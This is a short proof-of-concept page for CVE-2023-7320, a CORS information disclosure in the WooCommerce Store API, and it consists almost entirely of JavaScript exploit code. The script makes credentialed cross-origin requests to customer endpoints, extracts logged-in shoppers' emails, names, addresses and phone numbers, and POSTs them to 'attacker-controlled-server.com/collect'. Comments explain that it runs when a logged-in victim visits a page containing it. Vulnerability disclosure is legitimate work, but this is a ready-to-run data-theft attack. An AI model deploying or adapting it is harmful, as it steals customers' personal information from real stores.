CVE-2023-7320 WooCommerce敏感信息泄露漏洞

// CVE-2023-7320 PoC - WooCommerce Store API CORS Information Disclosure // This PoC demonstrates how an attacker can steal user PII from a vulnerable WooCommerce site const TARGET_SITE = 'https://vulnerable-woocommerce-site.com'; async function exploitCORS() { try { // Attempt to access WooCommerce Store API endpoints const endpoints = [ '/?rest_route=/wc/store/v1/customers/me', '/?rest_route=/wc/store/v1/customers', '/wp-json/wc/store/v1/customers/me' ]; for (const endpoint of endpoints) { console.log(`[*] Trying endpoint: ${endpoint}`); const response = await fetch(TARGET_SITE + endpoint, { method: 'GET', credentials: 'include', // Include cookies for authenticated requests mode: 'cors' // Enable CORS request }); if (response.ok) { const data = await response.json(); console.log('[+] Success! Extracted data:'); console.log(JSON.stringify(data, null, 2)); // Extract PII fields const pii = { email: data.email, first_name: data.first_name, last_name: data.last_name, billing_address: data.billing, shipping_address: data.shipping, phone: data.billing?.phone }; // Send stolen data to attacker's server await fetch('https://attacker-controlled-server.com/collect', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(pii) }); console.log('[+] PII data exfiltrated successfully'); return pii; } } } catch (error) { console.error('[-] Exploitation failed:', error.message); } return null; } // Execute the exploit // Note: This PoC requires the victim to be logged into the WooCommerce site // and visit a page containing this script exploitCORS();